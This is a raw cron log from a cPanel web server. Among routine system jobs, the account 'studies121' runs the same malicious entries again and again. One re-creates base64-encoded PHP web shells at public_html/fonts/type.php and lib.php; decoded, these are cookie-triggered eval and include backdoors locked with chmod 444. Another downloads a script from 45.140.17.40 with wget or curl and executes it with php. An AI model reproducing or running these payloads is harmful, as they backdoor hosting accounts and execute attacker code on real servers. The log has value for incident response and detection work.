Sep  8 14:16:01 ip-184-168-122-23 CROND[1146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:17:01 ip-184-168-122-23 CROND[1266]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:17:01 ip-184-168-122-23 CROND[1268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:17:01 ip-184-168-122-23 CROND[1269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:17:01 ip-184-168-122-23 CROND[1270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:18:01 ip-184-168-122-23 CROND[1375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:18:01 ip-184-168-122-23 CROND[1377]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:18:01 ip-184-168-122-23 CROND[1379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:18:01 ip-184-168-122-23 CROND[1378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:18:01 ip-184-168-122-23 CROND[1380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:19:01 ip-184-168-122-23 CROND[1529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:19:01 ip-184-168-122-23 CROND[1531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:19:01 ip-184-168-122-23 CROND[1530]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:19:01 ip-184-168-122-23 CROND[1532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:20:02 ip-184-168-122-23 CROND[1730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:20:02 ip-184-168-122-23 CROND[1733]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 14:20:02 ip-184-168-122-23 CROND[1732]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:20:02 ip-184-168-122-23 CROND[1734]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 14:20:02 ip-184-168-122-23 CROND[1739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:20:02 ip-184-168-122-23 CROND[1740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:20:02 ip-184-168-122-23 CROND[1741]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 14:20:02 ip-184-168-122-23 CROND[1742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:20:02 ip-184-168-122-23 CROND[1743]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 14:21:01 ip-184-168-122-23 CROND[1863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:21:01 ip-184-168-122-23 CROND[1868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:21:01 ip-184-168-122-23 CROND[1867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:21:01 ip-184-168-122-23 CROND[1871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:22:01 ip-184-168-122-23 CROND[1960]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:22:01 ip-184-168-122-23 CROND[1962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:22:01 ip-184-168-122-23 CROND[1964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:22:01 ip-184-168-122-23 CROND[1966]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:22:01 ip-184-168-122-23 CROND[1967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:23:01 ip-184-168-122-23 CROND[2076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:23:01 ip-184-168-122-23 CROND[2078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:23:01 ip-184-168-122-23 CROND[2079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:23:01 ip-184-168-122-23 CROND[2080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:24:01 ip-184-168-122-23 CROND[2171]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:24:01 ip-184-168-122-23 CROND[2173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:24:01 ip-184-168-122-23 CROND[2174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:24:01 ip-184-168-122-23 CROND[2178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:24:01 ip-184-168-122-23 CROND[2179]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:25:01 ip-184-168-122-23 CROND[2298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:25:01 ip-184-168-122-23 CROND[2299]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 14:25:01 ip-184-168-122-23 CROND[2301]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:25:01 ip-184-168-122-23 CROND[2303]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  8 14:25:01 ip-184-168-122-23 CROND[2304]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 14:25:01 ip-184-168-122-23 CROND[2305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:25:01 ip-184-168-122-23 CROND[2306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:26:01 ip-184-168-122-23 CROND[2404]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  8 14:26:01 ip-184-168-122-23 CROND[2405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:26:01 ip-184-168-122-23 CROND[2408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:26:01 ip-184-168-122-23 CROND[2409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:26:01 ip-184-168-122-23 CROND[2410]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:26:01 ip-184-168-122-23 CROND[2413]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  8 14:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  8 14:27:01 ip-184-168-122-23 CROND[2656]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 14:27:01 ip-184-168-122-23 CROND[2659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:27:01 ip-184-168-122-23 CROND[2660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:27:01 ip-184-168-122-23 CROND[2658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 14:28:01 ip-184-168-122-23 CROND[2757]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 14:28:01 ip-184-168-122-23 CROND[2759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:28:01 ip-184-168-122-23 CROND[2760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:28:01 ip-184-168-122-23 CROND[2761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
